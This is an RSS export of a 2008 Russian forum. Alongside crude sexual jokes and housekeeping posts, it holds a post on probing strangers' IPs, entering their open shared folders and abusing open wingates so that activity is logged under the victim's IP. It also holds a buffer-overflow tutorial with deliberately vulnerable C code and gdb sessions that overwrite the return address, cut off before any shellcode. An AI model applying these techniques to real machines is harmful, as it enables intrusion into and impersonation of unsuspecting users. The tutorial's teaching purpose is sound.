/&gt;Ханты-Мансийск 	+2&lt;br /&gt;Чайковский 	+2&lt;br /&gt;Чебоксары 	0&lt;br /&gt;Челябинск 	+2&lt;br /&gt;Чита 	+6&lt;br /&gt;Элиста 	0&lt;br /&gt;Энгельс 	0&lt;br /&gt;Южно-сахалинск 	+8&lt;br /&gt;Якутск 	+6&lt;br /&gt;Ярославль 	0&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Fri, 25 Jan 2008 18:39:19 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=287#p287</guid>
		</item>
		<item>
			<title>F.A.Q. по форуму</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=286#p286</link>
			<description>&lt;p&gt;&lt;strong&gt;и так.&lt;br /&gt;этот форум сделан для гостей нашего сайта(форума).&lt;br /&gt;тут МОГУТ постить незарегистрированные юзеры.&lt;br /&gt;для этого вам нужно нажать на кнопочку &amp;quot;ОТВЕТИТЬ&amp;quot;&lt;/strong&gt;&lt;br /&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;https://i002.radikal.ru/0801/02/5a168c90c3c3.jpg&quot; alt=&quot;http://i002.radikal.ru/0801/02/5a168c90c3c3.jpg&quot; /&gt;&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;так же вы можете создавать темы/опросы.&lt;br /&gt;всё по старому,только вам нужно будет ввести ваш E-Mail адрес&lt;/strong&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Fri, 25 Jan 2008 18:11:53 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=286#p286</guid>
		</item>
		<item>
			<title>&gt;&gt;  СВЕЖАЯ ДЕСЯТКА АНЕКДОТОВ</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=276#p276</link>
			<description>&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;***&lt;/span&gt;&lt;br /&gt;Мама читает на ночь дочке сказку, про то как кот с собачкой пошли на рыбалку:&lt;br /&gt;- Вот взяли они с котом удилище...&lt;br /&gt;Дочка перебивает:&lt;br /&gt;- Мам, а что такое скотомудилище ??&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;***&lt;/span&gt;&lt;br /&gt;Разговор двух подруг (Брюнетка и блондинка)&lt;br /&gt;Брюнетка :- Вот мой муж мне почти каждый день приносит огромный букет роз, хочешь не хочешь, а ноги раздвигать приходится..&lt;br /&gt;Блондинка с удивленным лицом :- А у тебя что, вазы нет ??&lt;/p&gt;
						&lt;p&gt;Внук подбегает к своему дедушке:&lt;br /&gt;- Деда, а почему тебя все девушки в деревне любят, ты же такой старый и не красивый..??&lt;br /&gt;Не знаю,- сказал дедушка и облизнул брови языком.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;***&lt;/span&gt;&lt;br /&gt;Молодой человек звонит в пейджинговую компанию:&lt;br /&gt;Здравствуйте я бы хотел отправить сообщение для абонента ( такого-такого-то) Диктует:&lt;br /&gt;-Оооо....Здравствуй мой малыш, я сейчас сижу совсем одна в мягком кресле.....Потихоньку снимаю с себя все верхнее белье, затем медленно стягиваю с себя тоненькое бикини.....Очень медленно перехожу к своим уже влажным трусикам....Мальчик мой, иди же ко мне....&lt;br /&gt;Оператор:&lt;br /&gt;- Это всё ??&lt;br /&gt;Молодой человек:&lt;br /&gt;- Да, это всё.&lt;br /&gt;По правилам всех пейджинговых компаний, оператор обязан повторить всё то что сказал клиент, для уточнения информации..... Начинает:&lt;br /&gt;- Оооо...Здравствуй мой малыш, я сейчас сижу совсем одна в мягком кресле......Потихоньку снимаю с себя всё верхнее бельё, затем медленно стягиваю с себя тоненькое бикини....Очень медленно перехожу к своим уже влажным трусикам......Мальчик мой, иди же ко мне....&lt;br /&gt;Оператор:&lt;br /&gt;- Всё больше ничего ??)&lt;br /&gt;Молодой человек:&lt;br /&gt;- Дааааа....... Всёёё, можете не отправлять.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;***&lt;/span&gt;&lt;br /&gt;Один патологоанатом звонит другому и говорит:&lt;br /&gt;Прикинь тут труп девушки привезли, ну я начал его как обычно осматривать..&lt;br /&gt;Короче оказалось что у нее клитр как дыня..&lt;br /&gt;- Да хорош тебе гнать то...Такого не бывает..&lt;br /&gt;- Точно тебе говорю, я сам в шоке..&lt;br /&gt;- Да перестань ты мне лапшу на уши вешать..&lt;br /&gt;- Давай скорей приезжай сам увидишь..&lt;br /&gt;Приезжает к нему:&lt;br /&gt;- Смотрит такой, и говорит ну и чего ты нагнал то мне..Клитр как клитр..А ты Дыня, Дыня..&lt;br /&gt;- Хэх..Да ты на вкус попробуй.!&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;***&lt;/span&gt;&lt;br /&gt;ЛАГЕРЬ АРХЕОЛОГОВ!!!&lt;br /&gt;НОЧЬЮ РАЗДАЮТСЯ СИЛЬНЫЕ КРИКИ ИЗ ПАЛАТКИ ГЛАВНОГО АРХЕОЛОГА&lt;br /&gt;ЗАГИБАЙ, ЗАГИБАЙ!!!&lt;br /&gt;ВСЕ ПРОСНУЛИСЬ И К НЕМУ ПРИБЕГАЮТ БУДЯТ ЕГО ОН ВЕСЬ В ПОТУ)))&lt;br /&gt;ОЧНУЛСЯ И РАССКАЗЫВАЕТ;&lt;br /&gt;СНИТСЯ МНЕ РЕБЯТА СОН ИДУ Я ПО УЗКОМУ-УЗКОМУ УЩЕЛЬЮ СЛЕВА ОБРЫВ СПРАВА СКАЛА ДВОИМ НЕ РАЗМИНУТЬСЯ А МНЕ НА ВСТРЕЧУ ВЫХОДИТ СНЕЖНЫЙ ЧЕЛОВЕК БЕРЕТ И ЗАСУНУВ МНЕ ПАЛЕЦ В ЖОПУ СВЕШИВАЕТ МЕНЯ НАД ПРОПАСТЬЮ, А Я ЧУСТВУЮ ЧТО СОСКАЛЬЗЫВАЮ И КРИЧУ ЕМУ ЗАГИБАЙ!!!ЗАГИБАЙ!!! &lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;***&lt;/span&gt;&lt;br /&gt;Сидят два парня в кинотеатре и ждут начало фильма. Тут перед ними садится здоровый лысый мужик. Один парень, ехидно улыбаясь,&lt;br /&gt;говорит другому:&lt;br /&gt;- Давай спорим на полтинник, что ты не сможешь шлепнуть его по лысине!&lt;br /&gt;Тот, немного подумав:&lt;br /&gt;- А вот и смогу, давай спорить.&lt;br /&gt;Ну поспорили. Парень немедля шлепает лысого мужика по башке.&lt;br /&gt;Тот оглядывается, типа че такое? Парень сразу же:&lt;br /&gt;- %ля, Леха! Скоко лет, скоко зим! где пропадал?&lt;br /&gt;Лысый, покраснев, говорит:&lt;br /&gt;- Какой на хер Леха, вы перепутали!&lt;br /&gt;Лысый отворачивается. Проходит несколько минут, и первый парень опять:&lt;br /&gt;- Слабо второй раз шлепнуть? Спорим на сотку?&lt;br /&gt;- Конечно нет, давай спорим, что шлепну еще раз.&lt;br /&gt;Такая же ситуация, лысый уже готов еб%уть парня. А тот в ответ:&lt;br /&gt;- Б%я, Леха, че ты придуриваешься? Мало что ты побрился, еще меня не узнаешь!&lt;br /&gt;Лысый разозленный поднимается и идет на передние ряды, чтобы не беспокоили эти уроды. Проходит еще несколько минут:&lt;br /&gt;- Слабо еще раз шлепнуть? Спорим на 500?&lt;br /&gt;- Давай, спорим.&lt;br /&gt;Парень поднимается, идет к лысому, не раздумывая шлепает по лысине и кричит:&lt;br /&gt;- Б%я, Леха! Ты, оказывается, здесь сидишь, а я там уже полчаса одного за%бываю!&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;***&lt;/span&gt;&lt;br /&gt; (Д)евушка исповедается (С)вященику.&lt;br /&gt;- Д: Отче, я назвала вчера мужчину &amp;quot;C%K%H C%H&amp;quot;&lt;br /&gt;- С: За что ты назвала его &amp;quot;C%K%H C%H&amp;quot;, дочь моя?&lt;br /&gt;- Д: За то, что он обнял меня без разрешения, отче.&lt;br /&gt;- С: Вот так (обнимает)?&lt;br /&gt;- Д: Да, отче.&lt;br /&gt;- С: Но это не повод называть его &amp;quot;C%K%H C%H&amp;quot;, дочь моя!&lt;br /&gt;- Д: Но потом он стал целовать меня без разрешения, отче.&lt;br /&gt;- С: Вот так (целует)?&lt;br /&gt;- Д: Да, отче.&lt;br /&gt;- С: Но это не повод называть его &amp;quot;C%K%H C%H&amp;quot;, дочь моя!&lt;br /&gt;- Д: Но потом он стал снимать с меня одежду, отче.&lt;br /&gt;- С: Вот так (снимает с нее одежду)?&lt;br /&gt;- Д: Да, отче.&lt;br /&gt;- С: Но это не повод называть его &amp;quot;C%K%H C%H&amp;quot;, дочь моя!&lt;br /&gt;- Д: Но потом он стал засовывать сами-знаете-что сами-знаете-куда!&lt;br /&gt;- С: Вот так (засовывает)?&lt;br /&gt;- Д: Да, отче.&lt;br /&gt;- С: Но это не повод называть его &amp;quot;C%K%H C%H&amp;quot;, дочь моя!&lt;br /&gt;- Д: Но при этом он болеет сифилисом!&lt;br /&gt;- С: Вот C%K%H C%H!&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;***&lt;/span&gt;&lt;br /&gt;Заблудились три туриста в пустыне. Бредут совершенно обессиленные.&lt;br /&gt;Вдруг смотрят - шатер посреди пустыни. Заходят, а там&lt;br /&gt;три красивые девушки. Напоили, накормили, приласкали...&lt;br /&gt;Вдруг - топот копыт: шейх со слугами с охоты вернулся. Вошел в шатер,&lt;br /&gt;увидел это дело - и прямо в ярость:&lt;br /&gt;- Убивать я вас не буду, но накажу соответственно вашим профессиям.&lt;br /&gt;Кто из вас кем работает?&lt;br /&gt;- Я - полицейский.&lt;br /&gt;- Отстрелить ему причинное место!&lt;br /&gt;- Я - пожарник.&lt;br /&gt;- Выжечь ему причинное место огнем!&lt;br /&gt;- А я леденцы продаю...&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;***&lt;/span&gt;&lt;br /&gt;пляж. всем желающим предлагают взвеситься. к весам подходит ну ОЧЕНЬ толстая женщина в откровенном бикини. взвешивается: 97 кг. она не знает как оправдаться и говорит немного подумав: ну это я просто в одежде.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Fri, 25 Jan 2008 02:31:52 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=276#p276</guid>
		</item>
		<item>
			<title>ФОТОПРИКОЛЫ</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=228#p228</link>
			<description>&lt;p&gt;&lt;span style=&quot;color: green&quot;&gt;&lt;strong&gt;если нашли замечательную картинку,или хороший ресурс с фотоприколами,то вам СЮДА!!!!!=)))&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Fri, 25 Jan 2008 01:13:40 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=228#p228</guid>
		</item>
		<item>
			<title>Вот полезная штука под названием &quot;файлобенники&quot;</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=226#p226</link>
			<description>&lt;p&gt;не зачто,обращайся ещё)))))&lt;br /&gt;можешь пригласить своих друзей на сайт) :P&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Thu, 24 Jan 2008 23:52:15 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=226#p226</guid>
		</item>
		<item>
			<title>Удаленное администрирование</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=224#p224</link>
			<description>&lt;p&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;&lt;span style=&quot;color: red&quot;&gt;Удаленное администрирование&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;И так, допустим что у нас есть IP адрес человека, нам нужно узнать как можно больше информации о его компьютере и вообще об этом человеке, находящемся в сети интернет. Для начала необходимо посмотреть, какие порты открыты на этом компьютере, это можно сделать любым сканером. После этого анализируем полученную информацию. К примеру выяснилось что на компьютере открыты следующие порты: 139 (NETBIOS Session Service), 7777 (tcp listening), 11476 (icq). И так netbios отвечает за сетевой сервис машины : Выполняем ряд примитивных действий : Сетевое окружение --&amp;gt; Найти компьютер --&amp;gt; вводим его IP. Жмем Найти. И что мы видим: Имя: Alex , Заметки: PII Celeron 400 Mhz. Сейчас подавляющее большинство домашних компьютеров обьеденены в локальные сети и некоторые на своем компьютере открывает часть папок или дисков для совместного использования. При подключении этого человека к интернету эти папки становятся достоянием всей сети (!). Некоторые даже не удосуживаются поставить пароль на диски. И этой опрометчивостью пользуются все кому не лень. К примеру мой компьютер фиксирует от 5 до 15 подключений в день по этому принципу.&lt;br /&gt;Порт 7777 говорит нам о том, что ан компьютере возможно установлено приложение для обмена сообщениями по локальной сети, а возможно и по интернет. Значит мы можем послать ему любое текстовое сообщение, подключившись к этому порту.(К примеру по умолчанию такой порт открывает программа VyPess Messenger).&lt;br /&gt;Ну а порт 11476 - это всеми любимая ICQ, подключайтесь к этому IP адресу и общайтесь!&lt;br /&gt;Это только самый маленький пример открытых ресурсов. А бывает и такое что доступен wingate (!) и можно через этот wingate натворить что угодно и будет везде числиться не ваш IP а этого человека. Wingate - это самая распространенная программа для выхода сразу нескольких человек из локальной сети в интернет через одного. Сейчас это самый распространенный вариант подключения к сети. Так же может быть доступен FTP, HTTP, Telnet, POP3, SMTP и многое другое.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;Эта статья предназначена только для ознакомительных целей. Ни в коем случае не реализовывайте на практике то, что Вы прочитаете, так как Вы несете полную ответственность за свои поступки в соответствии с действующим законодательством. Я не отвечаю за достоверность информации и не несу ответственности за Ваши поступки!&amp;#160; Все что вы делаете, вы делаете на свой страх и риск!!!&lt;/span&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (ZEUS)</author>
			<pubDate>Thu, 24 Jan 2008 18:59:13 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=224#p224</guid>
		</item>
		<item>
			<title>Переполнение буфера для чайников</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=223#p223</link>
			<description>&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;Переполнение буфера для чайников&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Бродя по многочисленным форумам, смотря рассылки и т.д. Я наткнулся на один очень частный вопрос. Звучит он примерно так: &amp;quot;Я не пойму технику переполнения буфера, объясните, пожалуйста!&amp;quot;. В данном материале я бы хотел рассмотреть технику полностью. Весь материал будет рассчитан для ОС Linux. Я постараюсь затронуть тему локального и удаленного переполнения буфера. Постараюсь внятно объяснить все. Я думаю, этот материал будет понятен даже новичку.&lt;br /&gt;Итак, пора приступить к изучению.&lt;br /&gt;Переполнение буфера это, пожалуй, самая распространенная ошибка как в больших приложениях, так и в маленьких утилитах. Впервые техника переполнения буфера была предпринята в нашумевшем черве конца 80-х годов - черве Роберта Морриса. С тех пор, данная уязвимость стала такой популярной, что на данный момент число эксплоитов, которые написаны на основе данной уязвимости, перевалило уже за отметку более 2-х тысяч. Из всех уязвимостей, которые на данный момент известны миру, переполнение буфера занимает 1-ое место. Ежедневно обнаруживается огромное количество ошибок на основе переполнения буфера. Для примера, подпишитесь на рассылку новостей bugtraq, и составьте процентное соотношение обнаруженных уязвимостей. У меня вышло примерно 35-40 % уязвимостей основанных на переполнении буфера. А ведь это только публичные данные! Представьте, что находится в закрытых источниках, там примерно такое же соотношение.&lt;br /&gt;Что-то я уж заговорился :) Давайте перейдем к обсуждение данной ошибки.&lt;br /&gt;Скажу, что для изучения данного материала, у Вас должны быть хотя бы начальные знания языка Си под Linux. Для дальнейшей работы нам понадобятся следующие инструменты: gcc, gdb, gedit (но можно и другой редактор).&lt;br /&gt;Теперь перейдем к непосредственному объяснению техники переполнения. Допустим, Вы написали утилиту, которая принимает входную строку (первый аргумент). Далее она вызывает системный вызов утилиты &amp;quot;ls&amp;quot; и ищет файл/директорию. В случае если файл/директория найдены, то программа оповещает пользователя о том, что такой файл/директория существуют в системе. Давайте посмотрим на пример такой программки.&lt;br /&gt;[=============================pre#1 util.c==========================]&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;char filename[255], cmd[600];&lt;br /&gt;if ( argc != 2 )&lt;br /&gt;{&lt;br /&gt;printf(&amp;quot; usage: %s &amp;quot;, argv[0]);&lt;br /&gt;exit(0);&lt;br /&gt;} //usage rulezz :)&lt;br /&gt;strcpy(filename, argv[1]); //copy into filename 1st argument&lt;br /&gt;snprintf(cmd, 600, &amp;quot;ls |grep %s&amp;quot;, filename);&lt;br /&gt;//copy cmd-line to execute via system();&lt;br /&gt;system(cmd); //execute&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;[==================================pre#1 util.c========================]&lt;br /&gt;Давайте откомпилируем программу и попытаемся запустить:&lt;br /&gt;[root@localhost boft]# gcc util.c -o util&lt;br /&gt;[root@localhost boft]# ./util aaaaaaaaaaaaaaaaaa&lt;br /&gt;[root@localhost boft]#&lt;br /&gt;Итак, программа не нашла файла/директории в текущем каталоге. Теперь попробуем создать файл в текущем каталоге.&lt;br /&gt;[root@localhost boft]# touch something.file&lt;br /&gt;[root@localhost boft]# ./util something.file&lt;br /&gt;something.file&lt;br /&gt;[root@localhost boft]#&lt;br /&gt;Так, мы создали файл с помощью стандартной утилиты touch в системе Linux, и программа оповестила нас о том, что такой файл существует в системе. Вроде ничего подозрительного и нет. Никакого переполнения нет в системе. Согласен, программе ведет себя вполне стандартно. Теперь давайте попробуем ввести название файла более 267 символов. Потом объясню, почему именно более 267 символов. Итак:&lt;br /&gt;[root@localhost boft]# ./util `perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;`&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;[root@localhost boft]#&lt;br /&gt;Опа... Что мы видим :) Сейчас мы использовали синтаксис языка perl. Строка `perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;` говорит о том, что в качестве первого аргумента будет значение &amp;quot;A&amp;quot; общей суммой символов равной 268. Т.е. программа в качестве первого аргумента получит такое: A = 268 символам. Идем далее... Программа ничего нам не вывела, а выскочило странное сообщение &amp;quot;Segmentation fault (core dumped)&amp;quot;. Чтобы оно могло значить??? А значит оно одно. Наша программа повела себя нестандартно и что-то там произошло. А что именно я попытаюсь сейчас объяснить. В системе Unix (как и в Win32) для хранения данных используется &amp;quot;стек&amp;quot;. Именно в нем хранятся различные значения переменных (да и они сами там хранятся) в момент запуска программы. После закрытия программы все данные выгружаются из &amp;quot;стека&amp;quot;. Стек можно сравнить со складом :) Конечно это довольно грубое объяснение, но все же. Так вот, в нашей программе мы используем несколько буферов. А именно буфер для хранения значения переменной &amp;quot;filename&amp;quot; и буфер переменной &amp;quot;cmd&amp;quot;. Буфер &amp;quot;cmd&amp;quot; нас не интересует. А вот буфер переменной &amp;quot;filename&amp;quot; нам более интересен. А все потому, что именно данная переменная используется как имя файла/директории, истоки которого берутся из первого входного аргумента при запуске программы. Копирование строки происходит путем стандартной в языке Си функции strcpy(); Синтаксис ее таков:&lt;br /&gt;strcpy(строка_в_которую_нужно_копировать_данные, строка_из_которой_следует_копировать);&lt;br /&gt;Так вот строка в коде:&lt;br /&gt;strcpy(filename, argv[1]);&lt;br /&gt;Говорит о том, что в переменную filename нужно копировать первый входной аргумент программы. Но взглянем выше, и мы увидим следующее:&lt;br /&gt;char filename[255];&lt;br /&gt;Вышеприведенная строка является объявлением переменной filename как типа char (символьного), который состоит из 255 массивов. То есть данная переменная имеет входной буфер на 255 символов. Получается, мы туда можем поместить 255 символов из входного аргумента нашей программы. Итак... Я думаю, вы уже догадались о том странном сообщении. Если нет, то оно значит то, что мы ввели более 255 символов во входной буфер, и программа вызвала ошибку т.к. размер, введенный в аргументе, превышает отведенный размер буфера переменной. Именно это и называется переполнение буфера. А теперь попробуйте сформулировать определение...&lt;br /&gt;Переполнение буфера - это буфер, значение которого определяется ранее в программе и в последующий момент выходит за рамки определяемости (т.е. переполняется). Несколько запутанно и некорректно. Но каждый может для себя составить определение этому словосочетанию :) Для меня же понятнее мое определение.&lt;br /&gt;Двигаемся дальше. Я думаю все линуксоиды знают очень хорошую и нужную утилиту gdb. Это утилита является встроенным отладчиком в системах Unix. gdb расшифровывается как GNU Debugger. Теперь давайте запустим нашу утилиту в этом отладчике и попробуем ввести длинное имя файла/директории.&lt;br /&gt;[root@localhost boft]# gdb util&lt;br /&gt;GNU gdb 6.0-2mdk (Mandrake Linux)&lt;br /&gt;Copyright 2003 Free Software Foundation, Inc.&lt;br /&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt;Type &amp;quot;show copying&amp;quot; to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB. Type &amp;quot;show warranty&amp;quot; for details.&lt;br /&gt;This GDB was configured as &amp;quot;i586-mandrake-linux-gnu&amp;quot;...Using host libthread_db&lt;br /&gt;library &amp;quot;/lib/tls/libthread_db.so.1&amp;quot;.&lt;br /&gt;(gdb) r `perl -e &#039;print &amp;quot;A&amp;quot;x1000&#039;`&lt;br /&gt;Starting program: /home/boft/util `perl -e &#039;print &amp;quot;A&amp;quot;x1000&#039;`&lt;br /&gt;Detaching after fork from child process 2861.&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x41414141 in ?? ()&lt;br /&gt;(gdb)&lt;br /&gt;Итак, мы ввели 1000 символов &amp;quot;A&amp;quot; в первый аргумент программы. И что мы видим? Программа приняла 1000 символов &amp;quot;A&amp;quot; и попыталась осуществить поиск. Но не тут то было :) Буфер переменной-файла равен всего 255 символов. И поэтому произошло переполнение. Строка 0x41414141 in ?? () говорит о том, что наша утилита попыталась обратится по адресу 0x41414141, но там ничего и нет :) Почему именно 0x41414141, так это потому что значение &amp;quot;A&amp;quot; в шестнадцаричном hex формате равно 41. А адрес у нас состоит из 8 символов. Поэтому последние четыре символа &amp;quot;A&amp;quot; будут адресом, к которому после переполнения обратится наша программа. Для более детального закрепления давайте рассмотрим следующий пример. Как я говорил ранее для переполнения нам нужно более 268 символов. Смотрим пример:&lt;br /&gt;(gdb) r `perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;`BBBB&lt;br /&gt;Starting program: /home/boft/util `perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;`BBBB&lt;br /&gt;Detaching after fork from child process 2898.&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x42424242 in ?? ()&lt;br /&gt;(gdb)&lt;br /&gt;И что мы видим :) А видим мы следующие. Для переполнения буфера нам нужно 268 символов. Это значение, при котором буфер полностью заполняется до краев :). Т.е. в вышеприведенном примере мы записали 268 символов &amp;quot;A&amp;quot; и четыре символа &amp;quot;B&amp;quot;. Получается, что буфер заполняется до краев значением &amp;quot;A&amp;quot;, а далее мы указываем по какому адресу ему следует обращаться после переполнение. Мы указываем ему 4 символа &amp;quot;B&amp;quot;, поэтому строка 0x42424242 in ?? () означает что после полного переполнения адрес по которому обратится функция будет указывать на адрес &amp;quot;B&amp;quot; в шестнадцаричном -hex формате. А теперь взглянем на следующий пример:&lt;br /&gt;(gdb) r `perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;`BBBA&lt;br /&gt;The program being debugged has been started already.&lt;br /&gt;Start it from the beginning? (y or n) y&lt;br /&gt;Starting program: /home/boft/util `perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;`BBBA&lt;br /&gt;Detaching after fork from child process 2920.&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x41424242 in ?? ()&lt;br /&gt;(gdb)&lt;br /&gt;Взглянем на адрес, по которому после переполнения обращается функция. Он равен: 0x41424242. А теперь взглянем на запуск программы:&lt;br /&gt;(gdb) r `perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;`BBBA&lt;br /&gt;Starting program: /home/boft/util `perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;`BBBA&lt;br /&gt;В аргументе присутствуют 268 символов &amp;quot;A&amp;quot; и адрес равный BBBA. А теперь переведите его в hex формат. У меня получилось вот что: 0x42424241, а у компьютера вот: 0x41424242. Из этого можно судить, что компьютер читает значения как арабы или китайцы. Т.е. справа налево. Ну и конечно сверху вниз. Поэтому в системе Unix (да и в Win32) стек растет сверху вниз. Получается, что самый большой адрес будет наверху, а далее стек будет убывать. Примерный вариант стека в стандартной программе таков:&lt;br /&gt;стек (адрес вершины стека = 0xbfffffff)&lt;br /&gt;__&lt;br /&gt;|| ДАННЫЕ&lt;br /&gt;||&lt;br /&gt;||&lt;br /&gt;/ АДРЕС&lt;br /&gt;Т.е. в случае с нашим переполнением программа себя ведет в стеке так: Идут данные... Если все в порядке, то программа обычно завершает свою работу и выгружается из стека. В случае переполнения ДАННЫЕ превышают норму и уже АДРЕС будет указывать не на выход из функции ( в нашем случает это return в main() ), а на что-то другое ( в нашем случае это последние 4 символа в аргументе. )&lt;br /&gt;Давайте взглянем на следующее. Я думаю, вы еще не закрыли gdb. Введите следующую команду.&lt;br /&gt;(gdb) i r&lt;br /&gt;eax 0x0 0&lt;br /&gt;ecx 0xbffff20c -1073745396&lt;br /&gt;edx 0x0 0&lt;br /&gt;ebx 0x4016e800 1075243008&lt;br /&gt;esp 0xbffff6b0 0xbffff6b0&lt;br /&gt;ebp 0x41414141 0x41414141&lt;br /&gt;esi 0x40016640 1073833536&lt;br /&gt;edi 0x8048510 134513936&lt;br /&gt;eip 0x41424242 0x41424242&lt;/p&gt;
						&lt;p&gt;(gdb)&lt;br /&gt;Мы видим регистры слева, а справа их значения. Помните, я Вам говорил, что для переполнения нужно ввести 268 символов, а не 255 как определено. Теперь взгляните на это:&lt;br /&gt;ebp 0x41414141 0x41414141&lt;br /&gt;Так вот 268 символов это и есть переполнение при котором значение регистра ebp затирается на значение входного аргумента в hex формате ( в нашем случае на &amp;quot;A&amp;quot; в hex формате ).&lt;br /&gt;Т.е. попробуйте ввести такое в нашу утилиту:&lt;br /&gt;`perl -e &#039;print &amp;quot;A&amp;quot;x267&#039;`&lt;br /&gt;(gdb) r `perl -e &#039;print &amp;quot;A&amp;quot;x267&#039;`&lt;br /&gt;The program being debugged has been started already.&lt;br /&gt;Start it from the beginning? (y or n) y&lt;br /&gt;Starting program: /home/boft/util `perl -e &#039;print &amp;quot;A&amp;quot;x267&#039;`&lt;br /&gt;Detaching after fork from child process 2942.&lt;br /&gt;Program exited normally.&lt;br /&gt;(gdb)&lt;br /&gt;Мы видим, что программа завершилась нормально без каких-либо ошибок и переполнений. Взглянем на значения регистров:&lt;br /&gt;(gdb) i r&lt;br /&gt;The program has no registers now.&lt;br /&gt;(gdb)&lt;br /&gt;А их и нет :) Программа завершилась нормально и выгрузилась из памяти.&lt;br /&gt;А попробуйте ввести такое значение:&lt;br /&gt;`perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;`&lt;br /&gt;(gdb) r `perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;`&lt;br /&gt;Starting program: /home/boft/util `perl -e &#039;print &amp;quot;A&amp;quot;x268&#039;`&lt;br /&gt;Detaching after fork from child process 2948.&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x4003f900 in __libc_start_main () from /lib/tls/libc.so.6&lt;br /&gt;(gdb)&lt;br /&gt;Видно что программа завершилась с ошибкой и в качестве адреса по которому она обратится (адресом возврата) является сама функция main() из библиотеки libc. И поэтому для того чтобы указать свой адрес мы использовали 4 дополнительных символа. Они переводились в hex формат и указывали на адрес возврата. При просмотре регистров мы увидим, что регистр ebp затерся значение &amp;quot;A&amp;quot; в hex. Теперь давайте взглянем на другой регистр. Название ему EIP.&lt;br /&gt;eip 0x41424242 0x41424242 Мы видим, что его адрес перезаписался на тот адрес, который мы указали. Т.е. на BBBA в hex формате. Я теперь хочу немного отклониться и рассказать вам об этих самых регистрах процессора.&lt;br /&gt;РЕГИСТРЫ.&lt;br /&gt;Вообще регистры это некое подобие строителей внутри процессора. Они как бы получают данные и складывают их в компьютере. Т.е. в случае со строителями они строят дом/гараж и т.д. Они получают данные и складывают их, а далее некая программа пытается прочесть информацию из этих регистров. Количество регистров в архитектуре процессора x86 большое. И с каждым разом все увеличивается и увеличивается. Они бывают как 16-ти разрядные, так и 32-х. Сейчас я хочу рассказать более детально об основных регистрах процесорра.&lt;br /&gt;регистр EIP - это регистр содержит в себе адрес функции, на который должна перепрыгнуть программа в какое-либо действие. В нашем случае адрес eip был равен BBBA = 0x41424242. А что расположено по этому адресу? А ничего. В дальнейшем мы разберем эту тему.&lt;br /&gt;регистр ESP - это регистр, с помощью которого можно бегать по стеку. Т.е. обращаться к какому либо адресу в стеке.&lt;br /&gt;регистр EBP - это регистр, который дает нам возможность прямого обращения к данным, находящимся в стеке. Эти три регистра считаются основными. Понимание их значений является, по сути, основным фундаментом в понимании техники переполнения буфера. Итак, пора двигаться далее...&lt;br /&gt;ТЕХНИКА ПЕРЕПОЛНЕНИЯ.&lt;br /&gt;Думаю, вы уже наглотались теории по самые уши :) Ну ничего осталось совсем чуть-чуть. Я сейчас постараюсь максимально внятно объяснить 